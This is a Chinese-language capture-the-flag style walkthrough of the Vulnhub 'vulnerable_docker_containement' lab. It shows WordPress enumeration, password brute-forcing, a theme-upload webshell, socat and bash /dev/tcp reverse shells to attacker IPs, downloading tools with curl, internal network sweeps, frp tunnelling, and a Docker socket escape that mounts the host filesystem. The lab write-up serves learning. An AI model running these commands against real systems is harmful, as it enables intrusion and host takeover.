Vulnhub百个项目渗透
Vulnhub百个项目渗透——项目三十五:vulnerable_docker_containement-1(文件上传,docker提权)
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年10月8日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
前言
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
信息收集
nmap -sS -sV -A -T5 [ip]
发现了8000的web,并且是wordpress,那就用wpscan
wpscan利用
wpscan --url http://192.168.253.182:8000/ -eu
存在:bob用户
dirb http://192.168.253.182:8000/
发现登录页面
http://192.168.253.182:8000/admin
用户名枚举出bob
WPForce爆破
WPForce爆破:
https://github.com/n00py/WPForce
proxychains4 git clone https://github.com/n00py/WPForce.git
密码字典合集:
https://github.com/danielmiessler/SecLists
把bob写到user.txt中
python wpforce.py -i user.txt -w 10-million-password-list-top-10000.txt -u http://192.168.253.182:8000/
{'bob': 'Welcome1'}
---------
或者用wpscan、bp也可以!
wp文件上传
已经做了很多次了,apperence->add new,然后就能看到地址,本地开个端口接shell然后访问url即可
这里可以再反弹一下,生成稳定shell
没有装wget,所以用curl
curl -O http://192.168.253.138:8082/socat
chmod +x socat
nc -vlp 9998
HOME=/dev/shm ./socat tcp:192.168.253.138:9998 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane
使用script:(没太大必要)
script -qc bash /dev/null
stty raw -echo
fg
提权
没有wget 利用curl上传提权三脚本
curl -# -O http://192.168.253.138:8082/linpeas.sh
1)Linux version 3.13.0-128-generic (无法内核提权)
2)多个网卡信息:
172.18.0.1 dev eth0 lladdr 02:42:78:42:eb:c8 REACHABLE
172.18.0.4 dev eth0 lladdr 02:42:ac:12:00:04 REACHABLE IP address HW type Flags HW address Mask Device
172.18.0.1 0x1 0x2 02:42:78:42:eb:c8 * eth0
172.18.0.4 0x1 0x2 02:42:ac:12:00:04 * eth03)mysql信息泄露: /var/www/html/wp-config.php define(‘DB_NAME’,
‘wordpress’); define(‘DB_USER’, ‘wordpress’); define(‘DB_PASSWORD’,
‘WordPressISBest’); define(‘DB_HOST’, ‘db:3306’); define(
‘WP_SITEURL’, ‘http://’ . $_SERVER[‘HTTP_HOST’] ); define( ‘WP_HOME’,
‘http://’ . $_SERVER[‘HTTP_HOST’] );4)Current: = cap_chown
无法内核提权,也没有sudo滥用,多网卡是开启了docker,靶场名字也有提示。那就看一下内网第一台机器的ip,因为ifconfig被禁用了
深入探测
手工探测IP
for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
手工探测端口
本地写好传上去赋权执行
#!/bin/bash
hosts=(
"172.18.0.1"
"172.18.0.2"
"172.18.0.3"
"172.18.0.4"
)
END=65535
for host in "${hosts[@]}"
do
echo "==============================="
echo "Scanning $host"
echo "==============================="
for ((port=1;port<=END;port++))
do
echo "" > /dev/tcp/$host/$port && echo "Port $port is open"
done 2>/dev/null
done
得到结果如下
内网穿越
利用frpc
- 修改frpc.ini
- 赋权执行frps
- 上传frpc以及frpc.ini
- 赋权执行frpc
./frps -c frps.ini ---本机执行
./frpc -c frpc.ini --curl上传到
gedit /etc/proxychains4.conf --本机(或者proxychains.conf )
最后一行加上:socks5 192.168.253.138 7777
proxychains nmap -sT -sV -Pn -n -p8022 172.18.0.3
在经过尝试之后,锁定了这台开有8022的机器
浏览器插件中添加代理
发现是一个docker的shell
受限很大,考虑端口转发
bash -i >& /dev/tcp/192.168.247.129/6666 0>&1
拿到shell以后,发现了在run目录下有docker.sock
基本判定存在 Docker Remote api漏洞
再查看一下宿主其他容器
发现没有装docker
安装docker
vim /etc/apt/sources.list
apt-get update
apt-get install docker.io
docker ps
挂载主机上的所有文件到一个目录
docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash
或
docker run -v /:/host -t -i bash